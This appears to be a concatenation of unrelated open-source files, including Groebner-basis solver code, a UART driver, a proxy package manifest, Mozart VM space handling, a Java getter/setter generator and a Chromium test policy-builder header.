groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(64,194);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(64,195);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(64,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow64_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,129) / groebnerMatrix(64,174);
groebnerMatrix(targetRow,129) = 0.0;
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(64,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(64,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(64,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(64,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(64,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(64,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(64,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(64,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(64,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(64,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(64,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(64,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(64,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(64,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(64,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(64,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(64,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(64,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(64,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(64,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(64,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow64_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,174) / groebnerMatrix(64,174);
groebnerMatrix(targetRow,174) = 0.0;
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(64,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(64,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(64,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(64,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(64,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(64,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(64,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(64,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(64,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(64,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(64,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(64,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(64,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(64,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(64,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(64,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(64,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(64,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(64,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(64,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(64,196);
}
| 54,330 |
605 | <reponame>kasohong/mqcloud
package com.sohu.tv.mq.cloud.service;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.CommandLineRunner;
import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
/**
* @author yongweizhao
* @create 2020/8/5 17:04
*/
@Component
@Order(10)
public class TrafficStatServiceWarmup implements CommandLineRunner {
@Autowired
private TopicTrafficStatService topicTrafficStatService;
@Override
public void run(String... strings) throws Exception {
topicTrafficStatService.trafficStatAll();
}
}
| 209 |
328 | /**
* @file h3_uart.c
*
*/
/* Copyright (C) 2021 by <NAME> mailto:<EMAIL>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#pragma GCC push_options
#pragma GCC optimize ("Os")
#include <stdint.h>
#include <assert.h>
#include "h3_uart.h"
#include "h3.h"
#include "h3_gpio.h"
#include "h3_ccu.h"
#include "arm/synchronize.h"
#define DEFAUlT_BAUDRATE 115200
void __attribute__((cold)) h3_uart_begin(uint32_t uart, uint32_t baudrate, uint32_t bits, uint32_t parity, uint32_t stop_bits) {
assert(uart < 4);
assert(baudrate != 0);
if ((((24000000 / 16) / baudrate) > (uint16_t) (~0)) || (((24000000 / 16) / baudrate) == 0)) {
baudrate = DEFAUlT_BAUDRATE;
}
const uint32_t divisor = (24000000 / 16) / baudrate;
H3_UART_TypeDef *p = NULL;
uint32_t lcr;
if (uart == 0) {
p = (H3_UART_TypeDef*) (H3_UART0_BASE);
uint32_t value = H3_PIO_PORTA->CFG0;
// PA4, TX
value &= (uint32_t) (~(GPIO_SELECT_MASK << PA4_SELECT_CFG0_SHIFT));
value |= H3_PA4_SELECT_UART0_TX << PA4_SELECT_CFG0_SHIFT;
// PA5, RX
value &= (uint32_t) (~(GPIO_SELECT_MASK << PA5_SELECT_CFG0_SHIFT));
value |= H3_PA5_SELECT_UART0_RX << PA5_SELECT_CFG0_SHIFT;
H3_PIO_PORTA->CFG0 = value;
H3_CCU->BUS_SOFT_RESET4 |= CCU_BUS_SOFT_RESET4_UART0;
H3_CCU->BUS_CLK_GATING3 |= CCU_BUS_CLK_GATING3_UART0;
} else if (uart == 1) {
p = (H3_UART_TypeDef*) (H3_UART1_BASE);
uint32_t value = H3_PIO_PORTG->CFG0;
// PG6, TX
value &= (uint32_t) (~(GPIO_SELECT_MASK << PG6_SELECT_CFG0_SHIFT));
value |= H3_PG6_SELECT_UART1_TX << PG6_SELECT_CFG0_SHIFT;
// PG7, RX
value &= (uint32_t) (~(GPIO_SELECT_MASK << PG7_SELECT_CFG0_SHIFT));
value |= H3_PG7_SELECT_UART1_RX << PG7_SELECT_CFG0_SHIFT;
H3_PIO_PORTG->CFG0 = value;
H3_CCU->BUS_SOFT_RESET4 |= CCU_BUS_SOFT_RESET4_UART1;
H3_CCU->BUS_CLK_GATING3 |= CCU_BUS_CLK_GATING3_UART1;
} else if (uart == 2) {
p = (H3_UART_TypeDef*) (H3_UART2_BASE);
uint32_t value = H3_PIO_PORTA->CFG0;
// PA0, TX
value &= (uint32_t) (~(GPIO_SELECT_MASK << PA0_SELECT_CFG0_SHIFT));
value |= H3_PA0_SELECT_UART2_TX << PA0_SELECT_CFG0_SHIFT;
// PA1, RX
value &= (uint32_t) (~(GPIO_SELECT_MASK << PA1_SELECT_CFG0_SHIFT));
value |= H3_PA1_SELECT_UART2_RX << PA1_SELECT_CFG0_SHIFT;
H3_PIO_PORTA->CFG0 = value;
H3_CCU->BUS_SOFT_RESET4 |= CCU_BUS_SOFT_RESET4_UART2;
H3_CCU->BUS_CLK_GATING3 |= CCU_BUS_CLK_GATING3_UART2;
} else if (uart == 3) {
p = (H3_UART_TypeDef*) (H3_UART3_BASE);
uint32_t value = H3_PIO_PORTA->CFG1;
// PA13, TX
value &= (uint32_t) (~(GPIO_SELECT_MASK << PA13_SELECT_CFG1_SHIFT));
value |= H3_PA13_SELECT_UART3_TX << PA13_SELECT_CFG1_SHIFT;
// PA14, RX
value &= (uint32_t) (~(GPIO_SELECT_MASK << PA14_SELECT_CFG1_SHIFT));
value |= H3_PA14_SELECT_UART3_RX << PA14_SELECT_CFG1_SHIFT;
H3_PIO_PORTA->CFG1 = value;
H3_CCU->BUS_SOFT_RESET4 |= CCU_BUS_SOFT_RESET4_UART3;
H3_CCU->BUS_CLK_GATING3 |= CCU_BUS_CLK_GATING3_UART3;
}
assert(p != NULL);
switch (bits) {
case H3_UART_BITS_5:
lcr = UART_LCR_DLS_5BITS;
break;
case H3_UART_BITS_6:
lcr = UART_LCR_DLS_6BITS;
break;
case H3_UART_BITS_7:
lcr = UART_LCR_DLS_7BITS;
break;
case H3_UART_BITS_8:
default:
lcr = UART_LCR_DLS_8BITS;
}
if (parity != H3_UART_PARITY_NONE) {
lcr |= UART_LCR_PEN;
if (parity == H3_UART_PARITY_ODD) {
lcr |= UART_LCR_EPS_ODD;
} else if (parity == H3_UART_PARITY_EVEN) {
lcr |= UART_LCR_EPS_EVEN;
}
}
if (stop_bits == H3_UART_STOP_2BITS) {
lcr |= UART_LCR_STOP_2BITS;
} else {
lcr |= UART_LCR_STOP_1BIT;
}
dmb();
p->O08.FCR = 0;
p->LCR = UART_LCR_DLAB;
p->O00.DLL = divisor & 0xFF;
p->O04.DLH = (divisor >> 8);
p->LCR = lcr;
p->O08.FCR = UART_FCR_EFIFO | UART_FCR_TRESET | UART_FCR_RRESET;
p->O04.IER = 0;
isb();
}
void h3_uart_transmit(uint32_t uart, const uint8_t *data, uint32_t length) {
H3_UART_TypeDef *p_uart = NULL;
const uint8_t *p = data;
switch (uart) {
case 3:
p_uart = (H3_UART_TypeDef*) (H3_UART3_BASE);
break;
case 2:
p_uart = (H3_UART_TypeDef*) (H3_UART2_BASE);
break;
case 1:
p_uart = (H3_UART_TypeDef*) (H3_UART1_BASE);
break;
default:
p_uart = (H3_UART_TypeDef*) (H3_UART0_BASE);
break;
}
while (length > 0) {
uint32_t available = 64U - p_uart->TFL;
while ((length > 0) && (available > 0)) {
p_uart->O00.THR = (uint32_t) (*p);
length--;
available--;
p++;
}
}
}
| 2,601 |
640 | {
"name": "blinksocks",
"version": "3.3.8",
"description": "A framework for building composable proxy protocol stack",
"main": "lib/index.js",
"files": [
"bin",
"lib"
],
"bin": {
"blinksocks": "bin/start.js"
},
"scripts": {
"test": "npm run lint && npm run test:coverage",
"test:coverage": "jest --runInBand --silent --coverage --bail --forceExit",
"lint": "eslint bin src test",
"compile": "cross-env NODE_ENV=production babel src --out-dir lib --ignore __tests__,__mocks__",
"debug:client": "cross-env NODE_ENV=development node --inspect --inspect-port=9200 bin/cli.js blinksocks.client.json",
"debug:server": "cross-env NODE_ENV=development node --inspect --inspect-port=9300 bin/cli.js blinksocks.server.json",
"client": "cross-env NODE_ENV=development node bin/cli.js blinksocks.client.json",
"server": "cross-env NODE_ENV=development node bin/cli.js blinksocks.server.json",
"benchmark": "node benchmark/run.js \"benchmark/cases/**/*.bench.js\"",
"postbenchmark": "node benchmark/report.js \"benchmark/cases/**/*.bench.json\"",
"prepublishOnly": "npm run compile"
},
"dependencies": {
"chalk": "^2.4.2",
"filesize": "^4.1.2",
"ip": "^1.1.5",
"js-sha3": "^0.8.0",
"libsodium-wrappers": "^0.7.4",
"lodash.isplainobject": "^4.0.6",
"lodash.uniqueid": "^4.0.1",
"long": "^4.0.0",
"lru-cache": "^5.1.1",
"semver": "^5.6.0",
"winston": "^3.2.1",
"winston-daily-rotate-file": "^3.8.0",
"ws": "^6.2.0"
},
"devDependencies": {
"@babel/cli": "^7.2.3",
"@babel/core": "^7.4.0",
"@babel/plugin-proposal-class-properties": "^7.4.0",
"@babel/plugin-proposal-object-rest-spread": "^7.4.0",
"@babel/preset-env": "^7.4.2",
"@babel/register": "^7.4.0",
"babel-eslint": "^10.0.1",
"babel-jest": "^24.5.0",
"cross-env": "^5.2.0",
"eslint": "^5.15.3",
"eslint-config-babel": "^8.0.2",
"eslint-plugin-babel": "^5.3.0",
"eslint-plugin-flowtype": "^3.4.2",
"fast-glob": "^2.2.6",
"jest": "^24.5.0",
"lodash.clonedeep": "^4.5.0",
"lodash.set": "^4.3.2",
"mkdirp": "^0.5.1",
"socks": "^2.3.2"
},
"repository": {
"url": "https://github.com/blinksocks/blinksocks",
"type": "git"
},
"bugs": {
"url": "https://github.com/blinksocks/blinksocks/issues"
},
"homepage": "https://github.com/blinksocks/blinksocks",
"keywords": [
"socks5",
"socks4",
"socks4a",
"http",
"http2",
"https",
"tls",
"websocket",
"protocol",
"secure",
"proxy",
"nodejs",
"blinksocks",
"shadowsocks",
"shadowsocksr",
"v2ray",
"vmess",
"middleware",
"aead",
"obfs"
],
"author": "Micooz <<EMAIL>>",
"license": "Apache-2.0",
"engines": {
"node": ">= 8"
},
"jest": {
"coverageDirectory": "./coverage/",
"collectCoverage": true,
"testEnvironment": "./jest-environment-node-patch"
}
}
| 1,445 |
1,615 | /**
* Created by MomoLuaNative.
* Copyright (c) 2019, Momo Group. All rights reserved.
*
* This source code is licensed under the MIT.
* For the full copyright and license information,please view the LICENSE file in the root directory of this source tree.
*/
package com.immomo.mls.fun.constants;
import android.graphics.Paint;
import com.immomo.mls.wrapper.Constant;
import com.immomo.mls.wrapper.ConstantClass;
/**
* Created by zhang.ke
* on 2019/7/25
*/
@ConstantClass
public interface DrawStyle {
@Constant
int Fill = Paint.Style.FILL.ordinal();
@Constant
int Stroke = Paint.Style.STROKE.ordinal();
@Constant
int FillStroke = Paint.Style.FILL_AND_STROKE.ordinal();
} | 247 |
379 | <reponame>Ahzed11/mozart2
// Copyright © 2011, Université catholique de Louvain
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
#ifndef MOZART_REIFIEDSPACE_H
#define MOZART_REIFIEDSPACE_H
#include "mozartcore.hh"
#ifndef MOZART_GENERATOR
namespace mozart {
///////////////////////
// ChooseDistributor //
///////////////////////
class ChooseDistributor: public Distributor {
private:
class UnifyThread: public Runnable {
private:
typedef Runnable Super;
public:
UnifyThread(VM vm, Space* space, UnstableNode* var,
UnstableNode* value): Runnable(vm, space) {
_var.copy(vm, *var);
_value.copy(vm, *value);
resume();
}
UnifyThread(GR gr, UnifyThread& from): Runnable(gr, from) {
gr->copyUnstableNode(_var, from._var);
gr->copyUnstableNode(_value, from._value);
}
void run() {
MOZART_TRY(vm) {
unify(vm, _var, _value);
} MOZART_CATCH(vm, kind, node) {
assert(false); // TODO Or should we actually handle this case?
} MOZART_ENDTRY(vm);
terminate();
}
Runnable* gCollect(GC gc) {
return new (gc->vm) UnifyThread(gc, *this);
}
Runnable* sClone(SC sc) {
return new (sc->vm) UnifyThread(sc, *this);
}
private:
UnstableNode _var;
UnstableNode _value;
};
public:
ChooseDistributor(VM vm, Space* space, nativeint alternatives) {
_alternatives = alternatives;
_var = OptVar::build(vm, space);
}
ChooseDistributor(GR gr, ChooseDistributor& from) {
_alternatives = from._alternatives;
gr->copyUnstableNode(_var, from._var);
}
UnstableNode* getVar() {
return &_var;
}
nativeint getAlternatives() {
return _alternatives;
}
nativeint commit(VM vm, Space* space, nativeint value) {
if (value > _alternatives)
return -value;
UnstableNode valueNode = build(vm, value);
new (vm) UnifyThread(vm, space, &_var, &valueNode);
return 0;
}
virtual Distributor* replicate(GR gr) {
return new (gr->vm) ChooseDistributor(gr, *this);
}
private:
nativeint _alternatives;
UnstableNode _var;
};
//////////////////
// ReifiedSpace //
//////////////////
#include "ReifiedSpace-implem.hh"
void ReifiedSpace::create(SpaceRef& self, VM vm, GR gr, ReifiedSpace from) {
gr->copySpace(self, from.home());
}
UnstableNode ReifiedSpace::askSpace(RichNode self, VM vm) {
using namespace patternmatching;
Space* space = getSpace();
if (!space->isAdmissible(vm))
raise(vm, vm->coreatoms.spaceAdmissible, self);
RichNode statusVar = *space->getStatusVar();
if (matchesTuple(vm, statusVar, vm->coreatoms.succeeded, wildcard())) {
return Atom::build(vm, vm->coreatoms.succeeded);
} else {
return { vm, statusVar };
}
}
UnstableNode ReifiedSpace::askVerboseSpace(RichNode self, VM vm) {
Space* space = getSpace();
if (!space->isAdmissible(vm))
raise(vm, vm->coreatoms.spaceAdmissible, self);
if (space->isBlocked() && !space->isStable()) {
return buildTuple(vm, vm->coreatoms.suspended, *space->getStatusVar());
} else {
return { vm, *space->getStatusVar() };
}
}
UnstableNode ReifiedSpace::mergeSpace(RichNode self, VM vm) {
Space* currentSpace = vm->getCurrentSpace();
Space* space = getSpace();
if (!space->isAdmissible(currentSpace))
raise(vm, vm->coreatoms.spaceAdmissible);
if (space->getParent() != currentSpace) {
// TODO This is not an error, but I don't know what to do with it yet
raise(vm, "spaceMergeNotImplemented");
}
// Update status var
RichNode statusVar = *space->getStatusVar();
if (statusVar.isTransient()) {
UnstableNode atomMerged = Atom::build(vm, vm->coreatoms.merged);
DataflowVariable(statusVar).bind(vm, atomMerged);
}
// Extract root var
auto result = mozart::build(vm, *space->getRootVar());
// Become a merged space
self.become(vm, MergedSpace::build(vm));
// Actual merge
if (!space->merge(vm, currentSpace))
fail(vm);
return result;
}
void ReifiedSpace::commitSpace(RichNode self, VM vm, RichNode value) {
using namespace patternmatching;
Space* space = getSpace();
if (!space->isAdmissible(vm))
raise(vm, vm->coreatoms.spaceAdmissible);
if (!space->hasDistributor())
raise(vm, vm->coreatoms.spaceNoChoice, self);
nativeint left = 0, right = 0;
if (matches(vm, value, capture(left))) {
int commitResult = space->commit(vm, left);
if (commitResult < 0)
raise(vm, vm->coreatoms.spaceAltRange, self, left, -commitResult);
} else if (matchesSharp(vm, value, capture(left), capture(right))) {
raise(vm, "notImplemented", "commitRange");
} else {
raiseTypeError(vm, "int or range", value);
}
}
UnstableNode ReifiedSpace::cloneSpace(RichNode self, VM vm) {
Space* space = getSpace();
if (!space->isAdmissible(vm))
raise(vm, vm->coreatoms.spaceAdmissible);
RichNode statusVar = *space->getStatusVar();
if (statusVar.isTransient())
waitFor(vm, statusVar);
Space* copy = space->clone(vm);
return ReifiedSpace::build(vm, copy);
}
void ReifiedSpace::killSpace(RichNode self, VM vm) {
Space* space = getSpace();
if (!space->isAdmissible(vm))
return raise(vm, vm->coreatoms.spaceAdmissible);
space->kill(vm);
}
/////////////////
// FailedSpace //
/////////////////
#include "FailedSpace-implem.hh"
void FailedSpace::create(unit_t& self, VM vm, GR gr, FailedSpace from) {
}
UnstableNode FailedSpace::askSpace(VM vm) {
return Atom::build(vm, vm->coreatoms.failed);
}
UnstableNode FailedSpace::askVerboseSpace(VM vm) {
return Atom::build(vm, vm->coreatoms.failed);
}
UnstableNode FailedSpace::mergeSpace(VM vm) {
fail(vm);
}
void FailedSpace::commitSpace(VM vm, RichNode value) {
// nothing to do
}
UnstableNode FailedSpace::cloneSpace(VM vm) {
return FailedSpace::build(vm);
}
void FailedSpace::killSpace(VM vm) {
// nothing to do
}
/////////////////
// MergedSpace //
/////////////////
#include "MergedSpace-implem.hh"
void MergedSpace::create(unit_t& self, VM vm, GR gr, MergedSpace from) {
}
UnstableNode MergedSpace::askSpace(VM vm) {
return Atom::build(vm, vm->coreatoms.merged);
}
UnstableNode MergedSpace::askVerboseSpace(VM vm) {
return Atom::build(vm, vm->coreatoms.merged);
}
UnstableNode MergedSpace::mergeSpace(VM vm) {
raise(vm, vm->coreatoms.spaceMerged);
}
void MergedSpace::commitSpace(VM vm, RichNode value) {
raise(vm, vm->coreatoms.spaceMerged);
}
UnstableNode MergedSpace::cloneSpace(VM vm) {
raise(vm, vm->coreatoms.spaceMerged);
}
void MergedSpace::killSpace(VM vm) {
// nothing to do
}
}
#endif // MOZART_GENERATOR
#endif // MOZART_REIFIEDSPACE_H
| 2,823 |
427 | package modern.challenge;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.lang.reflect.Parameter;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
public class Main {
public static void main(String[] args) {
System.out.println("\nGenerate getters and setters");
Class<?> clazz = Melon.class;
StringBuilder getters = generateGetters(clazz);
StringBuilder setters = generateSetters(clazz);
System.out.println("\nGenerated getters:\n" + getters);
System.out.println("\nGenerated setters:\n" + setters);
}
public static StringBuilder generateGetters(Class<?> clazz) {
if (clazz == null) {
throw new IllegalArgumentException("Class cannot be null");
}
StringBuilder getterBuilder = new StringBuilder();
Map<String, Class<?>> accessors = fetchMissingGetters(clazz);
for (Entry<String, Class<?>> accessor : accessors.entrySet()) {
Class<?> type = accessor.getValue();
String field = accessor.getKey();
String getter = fetchIsOrGet(field, type);
getterBuilder.append("\npublic ")
.append(type.getSimpleName()).append(" ")
.append(getter)
.append("() {\n")
.append("\treturn ")
.append(field)
.append(";\n")
.append("}\n");
}
return getterBuilder;
}
public static StringBuilder generateSetters(Class<?> clazz) {
if (clazz == null) {
throw new IllegalArgumentException("Class cannot be null");
}
StringBuilder setterBuilder = new StringBuilder();
Map<String, Class<?>> accessors = fetchMissingSetters(clazz);
for (Entry<String, Class<?>> accessor : accessors.entrySet()) {
Class<?> type = accessor.getValue();
String field = accessor.getKey();
String setter = fetchSet(field);
setterBuilder.append("\npublic void ")
.append(setter)
.append("(").append(type.getSimpleName()).append(" ")
.append(field).append(") {\n")
.append("\tthis.")
.append(field).append(" = ")
.append(field)
.append(";\n")
.append("}\n");
}
return setterBuilder;
}
private static Map<String, Class<?>> fetchMissingGetters(Class<?> clazz) {
Map<String, Class<?>> getters = new HashMap<>();
Field[] fields = clazz.getDeclaredFields();
String[] names = new String[fields.length];
Class<?>[] types = new Class<?>[fields.length];
Arrays.setAll(names, i -> fields[i].getName());
Arrays.setAll(types, i -> fields[i].getType());
for (int i = 0; i < names.length; i++) {
String getterAccessor = fetchIsOrGet(names[i], types[i]);
try {
Method getter = clazz.getDeclaredMethod(getterAccessor);
Class<?> returnType = getter.getReturnType();
if (!returnType.equals(types[i])
|| getter.getParameterCount() != 0) {
getters.put(names[i], types[i]);
}
} catch (NoSuchMethodException ex) {
getters.put(names[i], types[i]);
// System.err.println("No getter found for '" + names[i] + "' field");
}
}
return getters;
}
private static Map<String, Class<?>> fetchMissingSetters(Class<?> clazz) {
Map<String, Class<?>> setters = new HashMap<>();
Field[] fields = clazz.getDeclaredFields();
String[] names = new String[fields.length];
Class<?>[] types = new Class<?>[fields.length];
Arrays.setAll(names, i -> fields[i].getName());
Arrays.setAll(types, i -> fields[i].getType());
for (int i = 0; i < names.length; i++) {
Field field = fields[i];
boolean finalField = !Modifier.isFinal(field.getModifiers());
if (finalField) {
String setterAccessor = fetchSet(names[i]);
try {
Method setter = clazz.getDeclaredMethod(setterAccessor, types[i]);
if (setter.getParameterCount() != 1
|| !setter.getReturnType().equals(void.class)) {
setters.put(names[i], types[i]);
continue;
}
Parameter parameter = setter.getParameters()[0];
if ((parameter.isNamePresent() && !parameter.getName().equals(names[i]))
|| !parameter.getType().equals(types[i])) {
setters.put(names[i], types[i]);
}
} catch (NoSuchMethodException ex) {
setters.put(names[i], types[i]);
// System.err.println("No setter found for '" + names[i] + "' field");
}
}
}
return setters;
}
private static String fetchIsOrGet(String name, Class<?> type) {
return "boolean".equalsIgnoreCase(type.getSimpleName())
? "is" + uppercase(name) : "get" + uppercase(name);
}
private static String fetchSet(String name) {
return "set" + uppercase(name);
}
private static String uppercase(String name) {
return name.substring(0, 1).toUpperCase() + name.substring(1);
}
}
| 2,761 |
2,151 | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef COMPONENTS_POLICY_CORE_COMMON_CLOUD_POLICY_BUILDER_H_
#define COMPONENTS_POLICY_CORE_COMMON_CLOUD_POLICY_BUILDER_H_
#include <stdint.h>
#include <memory>
#include <string>
#include <vector>
#include "base/compiler_specific.h"
#include "base/logging.h"
#include "base/macros.h"
#include "build/build_config.h"
#include "components/account_id/account_id.h"
#include "components/policy/proto/cloud_policy.pb.h"
#include "components/policy/proto/device_management_backend.pb.h"
#include "crypto/rsa_private_key.h"
#if !defined(OS_ANDROID) && !defined(OS_IOS)
#include "components/policy/proto/chrome_extension_policy.pb.h"
#endif
namespace policy {
// A helper class for testing that provides a straightforward interface for
// constructing policy blobs for use in testing. NB: This uses fake data and
// hard-coded signing keys by default, so should not be used in production code.
// TODO: Add "ForTesting" suffix to trigger presubmit checks.
class PolicyBuilder {
public:
// Constants used as dummy data for filling the PolicyData protobuf.
static const char kFakeDeviceId[];
static const char kFakeDomain[];
static const char kFakeGaiaId[];
static const char kFakeMachineName[];
static const char kFakePolicyType[];
static const int kFakePublicKeyVersion;
static const int64_t kFakeTimestamp;
static const char kFakeToken[];
static const char kFakeUsername[];
static const char kFakeServiceAccountIdentity[];
// Creates a policy builder. The builder will have all |policy_data_| fields
// initialized to dummy values and use the test signing keys.
PolicyBuilder();
virtual ~PolicyBuilder();
// Returns a reference to the policy data protobuf being built. Note that an
// initial policy data payload protobuf is created and filled with testing
// values in the constructor. Note also that the public_key_version field will
// be filled with the right values only after the Build() method call.
enterprise_management::PolicyData& policy_data() { return *policy_data_; }
const enterprise_management::PolicyData& policy_data() const {
return *policy_data_;
}
void clear_policy_data() { policy_data_.reset(); }
void CreatePolicyData() {
policy_data_ = std::make_unique<enterprise_management::PolicyData>();
}
// Returns a reference to the policy protobuf being built. Note that the
// fields relating to the public key, serialized policy data and signature
// will be filled with the right values only after the Build() method call.
enterprise_management::PolicyFetchResponse& policy() { return policy_; }
const enterprise_management::PolicyFetchResponse& policy() const {
return policy_;
}
// Use these methods for obtaining and changing the current signing key.
// Note that, by default, a hard-coded testing signing key is used.
std::unique_ptr<crypto::RSAPrivateKey> GetSigningKey() const;
void SetSigningKey(const crypto::RSAPrivateKey& key);
void SetDefaultSigningKey();
void UnsetSigningKey();
// Use these methods for obtaining and changing the new signing key.
// By default, there is no new signing key.
std::unique_ptr<crypto::RSAPrivateKey> GetNewSigningKey() const;
void SetDefaultNewSigningKey();
void UnsetNewSigningKey();
// Sets the default initial signing key - the resulting policy will be signed
// by the default signing key, and will have that key set as the
// new_public_key field, as if it were an initial key provision.
void SetDefaultInitialSigningKey();
// Assembles the policy components. The resulting policy protobuf is available
// through policy() after this call.
virtual void Build();
// Returns a copy of policy().
std::unique_ptr<enterprise_management::PolicyFetchResponse> GetCopy() const;
// Returns a binary policy blob, i.e. an encoded PolicyFetchResponse.
std::string GetBlob() const;
// These return hard-coded testing keys. Don't use in production!
static std::unique_ptr<crypto::RSAPrivateKey> CreateTestSigningKey();
static std::unique_ptr<crypto::RSAPrivateKey> CreateTestOtherSigningKey();
// Verification signatures for the two hard-coded testing keys above. These
// signatures are valid only for the kFakeDomain domain.
static std::string GetTestSigningKeySignature();
static std::string GetTestOtherSigningKeySignature();
std::vector<uint8_t> raw_signing_key() const { return raw_signing_key_; }
std::vector<uint8_t> raw_new_signing_key() const {
return raw_new_signing_key_;
}
// These methods return the public part of the corresponding signing keys,
// using the same binary format that is used for storing the public keys in
// the policy protobufs.
std::vector<uint8_t> GetPublicSigningKey() const;
std::vector<uint8_t> GetPublicNewSigningKey() const;
static std::vector<uint8_t> GetPublicTestKey();
static std::vector<uint8_t> GetPublicTestOtherKey();
// These methods return the public part of the corresponding signing keys as a
// string, using the same binary format that is used for storing the public
// keys in the policy protobufs.
std::string GetPublicSigningKeyAsString() const;
std::string GetPublicNewSigningKeyAsString() const;
static std::string GetPublicTestKeyAsString();
static std::string GetPublicTestOtherKeyAsString();
static std::vector<std::string> GetUserAffiliationIds();
// Created using dummy data used for filling the PolicyData protobuf.
static AccountId GetFakeAccountIdForTesting();
private:
enterprise_management::PolicyFetchResponse policy_;
std::unique_ptr<enterprise_management::PolicyData> policy_data_;
// The keys cannot be stored in NSS. Temporary keys are not guaranteed to
// remain in the database. Persistent keys require a persistent database,
// which would coincide with the user's database. However, these keys are used
